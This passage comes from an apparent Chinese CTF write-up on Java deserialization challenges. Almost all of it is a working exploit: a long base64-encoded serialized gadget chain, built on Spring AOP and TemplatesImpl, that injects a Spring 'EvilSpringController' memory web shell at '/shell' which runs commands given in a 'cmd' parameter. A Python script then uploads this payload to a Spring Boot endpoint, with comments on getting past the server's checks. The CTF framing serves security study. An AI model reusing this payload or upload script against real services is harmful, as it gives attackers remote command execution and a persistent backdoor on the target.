JZUzkxZEdsc0wweHBjM1E3VEFBS2FXNTBaWEptWVdObGMzRUFmZ0FjVEFBTWRHRnlaMlYwVTI5MWNtTmxkQUFtVEc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdllXOXdMMVJoY21kbGRGTnZkWEpqWlR0NGNnQXRiM0puTG5Od2NtbHVaMlp5WVcxbGQyOXlheTVoYjNBdVpuSmhiV1YzYjNKckxsQnliM2g1UTI5dVptbG5pMHZ6NXFmZzkyOENBQVZhQUF0bGVIQnZjMlZRY205NGVWb0FCbVp5YjNwbGJsb0FCbTl3WVhGMVpWb0FDRzl3ZEdsdGFYcGxXZ0FRY0hKdmVIbFVZWEpuWlhSRGJHRnpjM2h3QUFBQUFBQUFjM0lBUEc5eVp5NXpjSEpwYm1kbWNtRnRaWGR2Y21zdVlXOXdMbVp5WVcxbGQyOXlheTVFWldaaGRXeDBRV1IyYVhOdmNrTm9ZV2x1Um1GamRHOXllVlRkWkRmaVRuSDNBZ0FBZUhCemNnQVRhbUYyWVM1MWRHbHNMa0Z5Y21GNVRHbHpkSGlCMGgyWngyR2RBd0FCU1FBRWMybDZaWGh3QUFBQUFIY0VBQUFBQUhoemNRQitBQ0lBQUFBQWR3UUFBQUFBZUhOeUFEUnZjbWN1YzNCeWFXNW5abkpoYldWM2IzSnJMbUZ2Y0M1MFlYSm5aWFF1VTJsdVoyeGxkRzl1VkdGeVoyVjBVMjkxY21ObGZWVnU5Y2Y0K3JvQ0FBRk1BQVowWVhKblpYUnhBSDRBRG5od2MzSUFPbU52YlM1emRXNHViM0puTG1Gd1lXTm9aUzU0WVd4aGJpNXBiblJsY201aGJDNTRjMngwWXk1MGNtRjRMbFJsYlhCc1lYUmxjMGx0Y0d3SlYwL0JicXlyTXdNQUJra0FEVjlwYm1SbGJuUk9kVzFpWlhKSkFBNWZkSEpoYm5Oc1pYUkpibVJsZUZzQUNsOWllWFJsWTI5a1pYTjBBQU5iVzBKYkFBWmZZMnhoYzNOeEFINEFHRXdBQlY5dVlXMWxkQUFTVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3VEFBUlgyOTFkSEIxZEZCeWIzQmxjblJwWlhOMEFCWk1hbUYyWVM5MWRHbHNMMUJ5YjNCbGNuUnBaWE03ZUhBQUFBQUFBQUFBQUhWeUFBTmJXMEpML1JrVloyZmJOd0lBQUhod0FBQUFBblZ5QUFKYlFxenpGL2dHQ0ZUZ0FnQUFlSEFBQUJpb3l2NjZ2Z0FBQURVQkJ3b0FPd0IvQ2dDQUFJRUlBSUlMQUlNQWhBY0FoUWNBaGdzQUJRQ0hCd0NJQ0FCWkJ3Q0pDZ0FLQUlvSEFJc0hBSXdJQUkwS0FBd0FqZ2NBandjQWtBb0FFQUNSQ2dDU0FKTUlBRThLQUFvQWxBb0FsUUNXQ2dDVkFKY0hBSmtLQUpnQW1nc0Ftd0NjQ3dDYkFKMElBSjRLQUFnQW53b0FCZ0NnQndDaENnQWZBS0lLQUI4QW93Z0FwQXNBYkFDbENBQ21DZ0NuQUtnS0FBMEFxUWdBcWdvQURRQ3JDd0J0QUt3SUFLMElBSzRJQUs4SUFMQUtBTEVBc2dvQXNRQ3pDZ0MwQUxVSEFMWUtBREVBdHdnQXVBb0FNUUM1Q2dBeEFMb0tBREVBdXdnQXZBb0FiZ0M5Q2dCdUFMNEtBRzRBdndjQXdBRUFCanhwYm1sMFBnRUFBeWdwVmdFQUJFTnZaR1VCQUE5TWFXNWxUblZ0WW1WeVZHRmliR1VCQUJKTWIyTmhiRlpoY21saFlteGxWR0ZpYkdVQkFBUjBhR2x6QVFBb1RHTnZiUzlqZEdZdmRHaDViV1ZzWldGbUwwVjJhV3hUY0hKcGJtZERiMjUwY205c2JHVnlPd0VBQjJOdmJuUmxlSFFCQURkTWIzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2WTI5dWRHVjRkQzlYWldKQmNIQnNhV05oZEdsdmJrTnZiblJsZUhRN0FRQVZiV0Z3Y0dsdVowaGhibVJzWlhKTllYQndhVzVuQVFCVVRHOXlaeTl6Y0hKcGJtZG1jbUZ0WlhkdmNtc3ZkMlZpTDNObGNuWnNaWFF2YlhaakwyMWxkR2h2WkM5aGJtNXZkR0YwYVc5dUwxSmxjWFZsYzNSTllYQndhVzVuU0dGdVpHeGxjazFoY0hCcGJtYzdBUUFHYldWMGFHOWtBUUFhVEdwaGRtRXZiR0Z1Wnk5eVpXWnNaV04wTDAxbGRHaHZaRHNCQUFOMWNtd0JBRWhNYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZjMlZ5ZG14bGRDOXRkbU12WTI5dVpHbDBhVzl1TDFCaGRIUmxjbTV6VW1WeGRXVnpkRU52Ym1ScGRHbHZianNCQUFKdGN3RUFUa3h2Y21jdmMzQnlhVzVuWm5KaGJXVjNiM0pyTDNkbFlpOXpaWEoyYkdWMEwyMTJZeTlqYjI1a2FYUnBiMjR2VW1WeGRXVnpkRTFsZEdodlpITlNaWEYxWlhOMFEyOXVaR2wwYVc5dU93RUFDMk52Ym1acFowWnBaV3hrQVFBWlRHcGhkbUV2YkdGdVp5OXlaV1pzWldOMEwwWnBaV3hrT3dFQUJtTnZibVpwWndFQUZFSjFhV3hrWlhKRGIyNW1hV2QxY21GMGFXOXVBUUFNU1c1dVpYSkRiR0Z6YzJWekFRQlVURzl5Wnk5emNISnBibWRtY21GdFpYZHZjbXN2ZDJWaUwzTmxjblpzWlhRdmJYWmpMMjFsZEdodlpDOVNaWEYxWlhOMFRXRndjR2x1WjBsdVptOGtRblZwYkdSbGNrTnZibVpwWjNWeVlYUnBiMjQ3QVFBRWFXNW1id0VBUDB4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMjEyWXk5dFpYUm9iMlF2VW1WeGRXVnpkRTFoY0hCcGJtZEpibVp2T3dFQUlYTndjbWx1WjBKdmIzUk5aVzF2Y25sVGFHVnNiRTltUTI5dWRISnZiR3hsY2dFQUNrVjRZMlZ3ZEdsdmJuTUhBTUVCQUJVb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tWWUJBQVIwWlhOMEFRQVNUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFIYVhOTWFXNTFlQUVBQVZvQkFBVnZjMVI1Y0FFQUMzQnlhVzUwVjNKcGRHVnlBUUFWVEdwaGRtRXZhVzh2VUhKcGJuUlhjbWwwWlhJN0FRQUVZMjFrY3dFQUUxdE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c0JBQUpwYmdFQUZVeHFZWFpoTDJsdkwwbHVjSFYwVTNSeVpXRnRPd0VBQjNOallXNXVaWElCQUJOTWFtRjJZUzkxZEdsc0wxTmpZVzV1WlhJN0FRQURiM1YwQVFBSGNtVnhkV1Z6ZEFFQUoweHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBPd0VBQ0hKbGMzQnZibk5sQVFBb1RHcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsYzNCdmJuTmxPd0VBRFZOMFlXTnJUV0Z3VkdGaWJHVUhBTUlIQU1NSEFNUUhBR0VIQU1VQkFBbDBjbUZ1YzJadmNtMEJBSElvVEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OUVUMDA3VzB4amIyMHZjM1Z1TDI5eVp5OWhjR0ZqYUdVdmVHMXNMMmx1ZEdWeWJtRnNMM05sY21saGJHbDZaWEl2VTJWeWFXRnNhWHBoZEdsdmJraGhibVJzWlhJN0tWWUJBQWhrYjJOMWJXVnVkQUVBTFV4amIyMHZjM1Z1TDI5eVp5OWhjR0ZqYUdVdmVHRnNZVzR2YVc1MFpYSnVZV3d2ZUhOc2RHTXZSRTlOT3dFQUNHaGhibVJzWlhKekFRQkNXMHhqYjIwdmMzVnVMMjl5Wnk5aGNHRmphR1V2ZUcxc0wybHVkR1Z5Ym1Gc0wzTmxjbWxoYkdsNlpYSXZVMlZ5YVdGc2FYcGhkR2x2YmtoaGJtUnNaWEk3QndER0FRQ21LRXhqYjIwdmMzVnVMMjl5Wnk5aGNHRmphR1V2ZUdGc1lXNHZhVzUwWlhKdVlXd3ZlSE5zZEdNdlJFOU5PMHhqYjIwdmMzVnVMMjl5Wnk5aGNHRmphR1V2ZUcxc0wybHVkR1Z5Ym1Gc0wyUjBiUzlFVkUxQmVHbHpTWFJsY21GMGIzSTdUR052YlM5emRXNHZiM0puTDJGd1lXTm9aUzk0Yld3dmFXNTBaWEp1WVd3dmMyVnlhV0ZzYVhwbGNpOVRaWEpwWVd4cGVtRjBhVzl1U0dGdVpHeGxjanNwVmdFQUNHbDBaWEpoZEc5eUFRQTFUR052YlM5emRXNHZiM0puTDJGd1lXTm9aUzk0Yld3dmFXNTBaWEp1WVd3dlpIUnRMMFJVVFVGNGFYTkpkR1Z5WVhSdmNqc0JBQWRvWVc1a2JHVnlBUUJCVEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NGJXd3ZhVzUwWlhKdVlXd3ZjMlZ5YVdGc2FYcGxjaTlUWlhKcFlXeHBlbUYwYVc5dVNHRnVaR3hsY2pzQkFBcFRiM1Z5WTJWR2FXeGxBUUFaUlhacGJGTndjbWx1WjBOdmJuUnliMnhzWlhJdWFtRjJZUXdBUEFBOUJ3REhEQURJQU1rQkFEbHZjbWN1YzNCeWFXNW5abkpoYldWM2IzSnJMbmRsWWk1elpYSjJiR1YwTGtScGMzQmhkR05vWlhKVFpYSjJiR1YwTGtOUFRsUkZXRlFIQU1vTUFNc0F6QUVBTlc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMMk52Ym5SbGVIUXZWMlZpUVhCd2JHbGpZWFJwYjI1RGIyNTBaWGgwQVFCU2IzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzl0ZG1NdmJXVjBhRzlrTDJGdWJtOTBZWFJwYjI0dlVtVnhkV1Z6ZEUxaGNIQnBibWRJWVc1a2JHVnlUV0Z3Y0dsdVp3d0F6UURPQVFBbVkyOXRMMk4wWmk5MGFIbHRaV3hsWVdZdlJYWnBiRk53Y21sdVowTnZiblJ5YjJ4c1pYSUJBQTlxWVhaaEwyeGhibWN2UTJ4aGMzTU1BTThBMEFFQVJtOXlaeTl6Y0hKcGJtZG1jbUZ0WlhkdmNtc3ZkMlZpTDNObGNuWnNaWFF2YlhaakwyTnZibVJwZEdsdmJpOVFZWFIwWlhKdWMxSmxjWFZsYzNSRGIyNWthWFJwYjI0QkFCQnFZWFpoTDJ4aGJtY3ZVM1J5YVc1bkFRQUdMM05vWld4c0RBQThBTkVCQUV4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMjEyWXk5amIyNWthWFJwYjI0dlVtVnhkV1Z6ZEUxbGRHaHZaSE5TWlhGMVpYTjBRMjl1WkdsMGFXOXVBUUExYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZZbWx1WkM5aGJtNXZkR0YwYVc5dUwxSmxjWFZsYzNSTlpYUm9iMlFNQUR3QTBnY0Ewd3dBMUFEVkRBRFdBTmNIQU5nTUFOa0EyZ3dBMndEY0J3RGRBUUJTYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZjMlZ5ZG14bGRDOXRkbU12YldWMGFHOWtMMUpsY1hWbGMzUk5ZWEJ3YVc1blNXNW1ieVJDZFdsc1pHVnlRMjl1Wm1sbmRYSmhkR2x2Ymd3QTNnRGdCd0RoREFEaUFPTU1BT1FBNVFFQUJYbGplR3h2REFBOEFGZ01BT1lBNXdFQVFHOXlaeTl6Y0hKcGJtZG1jbUZ0WlhkdmNtc3ZkMlZpTDJOdmJuUmxlSFF2Y21WeGRXVnpkQzlUWlhKMmJHVjBVbVZ4ZFdWemRFRjBkSEpwWW5WMFpYTU1BT2dBNlF3QTZnRHJBUUFEWTIxa0RBRHNBTzBCQUFkdmN5NXVZVzFsQndEdURBRHZBTzBNQVBBQThRRUFBM2RwYmd3QThnRHpEQUQwQVBVQkFBSnphQUVBQWkxakFRQUhZMjFrTG1WNFpRRUFBaTlqQndEMkRBRDNBUGdNQVBrQStnY0Erd3dBL0FEOUFRQVJhbUYyWVM5MWRHbHNMMU5qWVc1dVpYSU1BRHdBL2dFQUFseEJEQUQvQVFBTUFRRUJBZ3dCQXdEeEFRQUFEQUVFQUZnTUFRVUFQUXdCQmdBOUFRQkFZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2hoYkdGdUwybHVkR1Z5Ym1Gc0wzaHpiSFJqTDNKMWJuUnBiV1V2UVdKemRISmhZM1JVY21GdWMyeGxkQUVBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0QkFDVnFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBBUUFtYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnpjRzl1YzJVQkFCTnFZWFpoTDJsdkwxQnlhVzUwVjNKcGRHVnlBUUFUYW1GMllTOXBieTlKYm5CMWRGTjBjbVZoYlFFQU9XTnZiUzl6ZFc0dmIzSm5MMkZ3WVdOb1pTOTRZV3hoYmk5cGJuUmxjbTVoYkM5NGMyeDBZeTlVY21GdWMyeGxkRVY0WTJWd2RHbHZiZ0VBUEc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMMk52Ym5SbGVIUXZjbVZ4ZFdWemRDOVNaWEYxWlhOMFEyOXVkR1Y0ZEVodmJHUmxjZ0VBR0dOMWNuSmxiblJTWlhGMVpYTjBRWFIwY21saWRYUmxjd0VBUFNncFRHOXlaeTl6Y0hKcGJtZG1jbUZ0WlhkdmNtc3ZkMlZpTDJOdmJuUmxlSFF2Y21WeGRXVnpkQzlTWlhGMVpYTjBRWFIwY21saWRYUmxjenNCQURsdmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTlqYjI1MFpYaDBMM0psY1hWbGMzUXZVbVZ4ZFdWemRFRjBkSEpwWW5WMFpYTUJBQXhuWlhSQmRIUnlhV0oxZEdVQkFDY29UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdTU2xNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUFkblpYUkNaV0Z1QVFBbEtFeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0tVeHFZWFpoTDJ4aGJtY3ZUMkpxWldOME93RUFDV2RsZEUxbGRHaHZaQUVBUUNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0YlRHcGhkbUV2YkdGdVp5OURiR0Z6Y3pzcFRHcGhkbUV2YkdGdVp5OXlaV1pzWldOMEwwMWxkR2h2WkRzQkFCWW9XMHhxWVhaaEwyeGhibWN2VTNSeWFXNW5PeWxXQVFBN0tGdE1iM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdlltbHVaQzloYm01dmRHRjBhVzl1TDFKbGNYVmxjM1JOWlhSb2IyUTdLVllCQUJCcVlYWmhMMnhoYm1jdlQySnFaV04wQVFBSVoyVjBRMnhoYzNNQkFCTW9LVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBUUFRWjJWMFJHVmpiR0Z5WldSR2FXVnNaQUVBTFNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OXlaV1pzWldOMEwwWnBaV3hrT3dFQUYycGhkbUV2YkdGdVp5OXlaV1pzWldOMEwwWnBaV3hrQVFBTmMyVjBRV05qWlhOemFXSnNaUUVBQkNoYUtWWUJBQU5uWlhRQkFDWW9UR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdLVXhxWVhaaEwyeGhibWN2VDJKcVpXTjBPd0VBUFc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMM05sY25ac1pYUXZiWFpqTDIxbGRHaHZaQzlTWlhGMVpYTjBUV0Z3Y0dsdVowbHVabThCQUFWd1lYUm9jd0VBQjBKMWFXeGtaWElCQUZ3b1cweHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1iM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdmMyVnlkbXhsZEM5dGRtTXZiV1YwYUc5a0wxSmxjWFZsYzNSTllYQndhVzVuU1c1bWJ5UkNkV2xzWkdWeU93RUFSVzl5Wnk5emNISnBibWRtY21GdFpYZHZjbXN2ZDJWaUwzTmxjblpzWlhRdmJYWmpMMjFsZEdodlpDOVNaWEYxWlhOMFRXRndjR2x1WjBsdVptOGtRblZwYkdSbGNnRUFCMjl3ZEdsdmJuTUJBSjBvVEc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMM05sY25ac1pYUXZiWFpqTDIxbGRHaHZaQzlTWlhGMVpYTjBUV0Z3Y0dsdVowbHVabThrUW5WcGJHUmxja052Ym1acFozVnlZWFJwYjI0N0tVeHZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5elpYSjJiR1YwTDIxMll5OXRaWFJvYjJRdlVtVnhkV1Z6ZEUxaGNIQnBibWRKYm1adkpFSjFhV3hrWlhJN0FRQUZZblZwYkdRQkFFRW9LVXh2Y21jdmMzQnlhVzVuWm5KaGJXVjNiM0pyTDNkbFlpOXpaWEoyYkdWMEwyMTJZeTl0WlhSb2IyUXZVbVZ4ZFdWemRFMWhjSEJwYm1kSmJtWnZPd0VBRDNKbFoybHpkR1Z5VFdGd2NHbHVad0VBYmloTWIzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzl0ZG1NdmJXVjBhRzlrTDFKbGNYVmxjM1JOWVhCd2FXNW5TVzVtYnp0TWFtRjJZUzlzWVc1bkwwOWlhbVZqZER0TWFtRjJZUzlzWVc1bkwzSmxabXhsWTNRdlRXVjBhRzlrT3lsV0FRQUtaMlYwVW1WeGRXVnpkQUVBS1NncFRHcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsY1hWbGMzUTdBUUFMWjJWMFVtVnpjRzl1YzJVQkFDb29LVXhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjblpzWlhSU1pYTndiMjV6WlRzQkFBeG5aWFJRWVhKaGJXVjBaWElCQUNZb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tVeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk93RUFFR3BoZG1FdmJHRnVaeTlUZVhOMFpXMEJBQXRuWlhSUWNtOXdaWEowZVFFQUMzUnZURzkzWlhKRFlYTmxBUUFVS0NsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBaGpiMjUwWVdsdWN3RUFHeWhNYW1GMllTOXNZVzVuTDBOb1lYSlRaWEYxWlc1alpUc3BXZ0VBQ1dkbGRGZHlhWFJsY2dFQUZ5Z3BUR3BoZG1FdmFXOHZVSEpwYm5SWGNtbDBaWEk3QVFBUmFtRjJZUzlzWVc1bkwxSjFiblJwYldVQkFBcG5aWFJTZFc1MGFXMWxBUUFWS0NsTWFtRjJZUzlzWVc1bkwxSjFiblJwYldVN0FRQUVaWGhsWXdFQUtDaGJUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVXhxWVhaaEwyeGhibWN2VUhKdlkyVnpjenNCQUJGcVlYWmhMMnhoYm1jdlVISnZZMlZ6Y3dFQURtZGxkRWx1Y0hWMFUzUnlaV0Z0QVFBWEtDbE1hbUYyWVM5cGJ5OUpibkIxZEZOMGNtVmhiVHNCQUJnb1RHcGhkbUV2YVc4dlNXNXdkWFJUZEhKbFlXMDdLVllCQUF4MWMyVkVaV3hwYldsMFpYSUJBQ2NvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1V4cVlYWmhMM1YwYVd3dlUyTmhibTVsY2pzQkFBZG9ZWE5PWlhoMEFRQURLQ2xhQVFBRWJtVjRkQUVBQlhkeWFYUmxBUUFGWm14MWMyZ0JBQVZqYkc5elpRQWhBQWdBT3dBQUFBQUFCUUFCQUR3QVBRQUNBRDRBQUFGSkFBWUFDZ0FBQUpVcXR3QUJ1QUFDRWdNRHVRQUVBd0RBQUFWTUt4SUd1UUFIQWdEQUFBWk5FZ2dTQ1FPOUFBcTJBQXRPdXdBTVdRUzlBQTFaQXhJT1U3Y0FEem9FdXdBUVdRTzlBQkczQUJJNkJTeTJBQk1TRkxZQUZUb0dHUVlFdGdBV0dRWXN0Z0FYd0FBWU9nY0V2UUFOV1FNU0RsTzRBQmtaQjdrQUdnSUF1UUFiQVFBNkNMc0FDRmtTSExjQUhUb0pMQmtJR1FrdHRnQWVzUUFBQUFJQVB3QUFBRFlBRFFBQUFDTUFCQUFsQUJNQUp3QWZBQ2tBS3dBckFEMEFMUUJLQUM4QVZRQXdBRnNBTWdCbUFETUFnQUEyQUlzQU53Q1VBRGdBUUFBQUFHWUFDZ0FBQUpVQVFRQkNBQUFBRXdDQ0FFTUFSQUFCQUI4QWRnQkZBRVlBQWdBckFHb0FSd0JJQUFNQVBRQllBRWtBU2dBRUFFb0FTd0JMQUV3QUJRQlZBRUFBVFFCT0FBWUFaZ0F2QUU4QVVnQUhBSUFBRlFCVEFGUUFDQUNMQUFvQVZRQkNBQWtBVmdBQUFBUUFBUUJYQUFFQVBBQllBQUVBUGdBQUFEMEFBUUFDQUFBQUJTcTNBQUd4QUFBQUFnQS9BQUFBQ2dBQ0FBQUFPZ0FFQURzQVFBQUFBQllBQWdBQUFBVUFRUUJDQUFBQUFBQUZBRmtBV2dBQkFBRUFXUUE5QUFJQVBnQUFBYzhBQlFBS0FBQUF4YmdBQXNBQUg3WUFJRXk0QUFMQUFCKzJBQ0ZOS3hJaXVRQWpBZ0RHQUtnRVBoSWt1QUFsT2dRWkJNWUFFaGtFdGdBbUVpZTJBQ2laQUFVRFBpeTVBQ2tCQURvRkhaa0FId2E5QUExWkF4SXFVMWtFRWl0VFdRVXJFaUs1QUNNQ0FGT25BQndHdlFBTldRTVNMRk5aQkJJdFUxa0ZLeElpdVFBakFnQlRPZ1lCT2dlNEFDNFpCcllBTDdZQU1Eb0h1d0F4V1JrSHR3QXlFak8yQURRNkNCa0l0Z0ExbVFBTEdRaTJBRGFuQUFVU056b0pHUVVaQ2JZQU9Ca0Z0Z0E1R1FXMkFEcXhBQUFBQXdBL0FBQUFSZ0FSQUFBQVBRQUtBRDRBRkFBL0FCOEFRQUFoQUVFQUtBQkNBRG9BUXdBOEFFVUFSQUJHQUg4QVJ3Q0NBRWdBandCSkFKOEFTZ0N6QUVzQXVnQk1BTDhBVFFERUFFOEFRQUFBQUdZQUNnQWhBS01BV3dCY0FBTUFLQUNjQUYwQVdnQUVBRVFBZ0FCZUFGOEFCUUIvQUVVQVlBQmhBQVlBZ2dCQ0FHSUFZd0FIQUo4QUpRQmtBR1VBQ0FDekFCRUFaZ0JhQUFrQUFBREZBRUVBUWdBQUFBb0F1d0JuQUdnQUFRQVVBTEVBYVFCcUFBSUFhd0FBQUVBQUJ2OEFQQUFGQndBSUJ3QnNCd0J0QVFjQURRQUEvQUFuQndCdVdBY0FiLzRBTVFjQWJ3Y0FjQWNBTVVFSEFBMy9BQklBQXdjQUNBY0FiQWNBYlFBQUFGWUFBQUFFQUFFQVZ3QUJBSEVBY2dBQ0FENEFBQUEvQUFBQUF3QUFBQUd4QUFBQUFnQS9BQUFBQmdBQkFBQUFWQUJBQUFBQUlBQURBQUFBQVFCQkFFSUFBQUFBQUFFQWN3QjBBQUVBQUFBQkFIVUFkZ0FDQUZZQUFBQUVBQUVBZHdBQkFIRUFlQUFDQUQ0QUFBQkpBQUFBQkFBQUFBR3hBQUFBQWdBL0FBQUFCZ0FCQUFBQVdRQkFBQUFBS2dBRUFBQUFBUUJCQUVJQUFBQUFBQUVBY3dCMEFBRUFBQUFCQUhrQWVnQUNBQUFBQVFCN0FId0FBd0JXQUFBQUJBQUJBSGNBQWdCOUFBQUFBZ0IrQUZFQUFBQVNBQUlBR0FDWUFGQUFDUUNiQUpnQTN3WUpkWEVBZmdBdUFBQUFuc3IrdXI0QUFBQXpBQXdCQUFkamJXbHpiREV4QndBQkFRQVFhbUYyWVM5c1lXNW5MMDlpYW1WamRBY0FBd0VBQ2xOdmRYSmpaVVpwYkdVQkFBeGpiV2x6YkRFeExtcGhkbUVCQUFZOGFXNXBkRDRCQUFNb0tWWU1BQWNBQ0FvQUJBQUpBUUFFUTI5a1pRQWhBQUlBQkFBQUFBQUFBUUFCQUFjQUNBQUJBQXNBQUFBUkFBRUFBUUFBQUFVcXR3QUtzUUFBQUFBQUFRQUZBQUFBQWdBR2NIUUFBV0Z3ZHdFQWVIVnlBQkpiVEdwaGRtRXViR0Z1Wnk1RGJHRnpjenVyRnRldXk4MWFtUUlBQUhod0FBQUFBM1p5QUNOdmNtY3VjM0J5YVc1blpuSmhiV1YzYjNKckxtRnZjQzVUY0hKcGJtZFFjbTk0ZVFBQUFBQUFBQUFBQUFBQWVIQjJjZ0FwYjNKbkxuTndjbWx1WjJaeVlXMWxkMjl5YXk1aGIzQXVabkpoYldWM2IzSnJMa0ZrZG1selpXUUFBQUFBQUFBQUFBQUFBSGh3ZG5JQUtHOXlaeTV6Y0hKcGJtZG1jbUZ0WlhkdmNtc3VZMjl5WlM1RVpXTnZjbUYwYVc1blVISnZlSGtBQUFBQUFBQUFBQUFBQUhod2NIQndjSEJ3Y0hCd2VBQUFBQUFBQUFCa2NIZz1weHQAB2Nvbm5lY3Q="
# 3. 构造multipart/form-data请求(适配Spring Boot的MultipartFile接收规则)
files = {
"file": ( # 后端@RequestParam("file") 字段名必须是file
UPLOAD_FILENAME, # 文件名后缀含ref,满足后端检查
b64_encoded, # 文件内容是Base64编码后的字符串
"application/octet-stream" # 避免Tomcat解析错误
)
}
# 4. 发送上传请求(禁用分块编码,解决Stream ended unexpectedly)
headers = {
"User-Agent": "Mozilla/5.0",
"Connection": "close" # 关闭长连接,避免数据流残留
}
try:
response = requests.post(
UPLOAD_URL,
files=files,
headers=headers,
allow_redirects=False, # 禁止重定向,避免数据流中断
timeout=30,
stream=False # 禁用分块编码,强制Content-Length
)
# 打印响应结果
print(f"响应状态码:{response.status_code}")
print(f"响应内容:{response.text}")
except Exception as e:
print(f"上传失败:{str(e)}")
if __name__ == "__main__":
upload_serialized_file()最后成功拿到flag

文章分析了Regretful_Deser和load_jvav两道题的反序列化利用链,结合Hibernate getter触发点与JRMP二次反序列化实现RCE。
由 AI 根据全文自动生成,仅供参考,以原文为准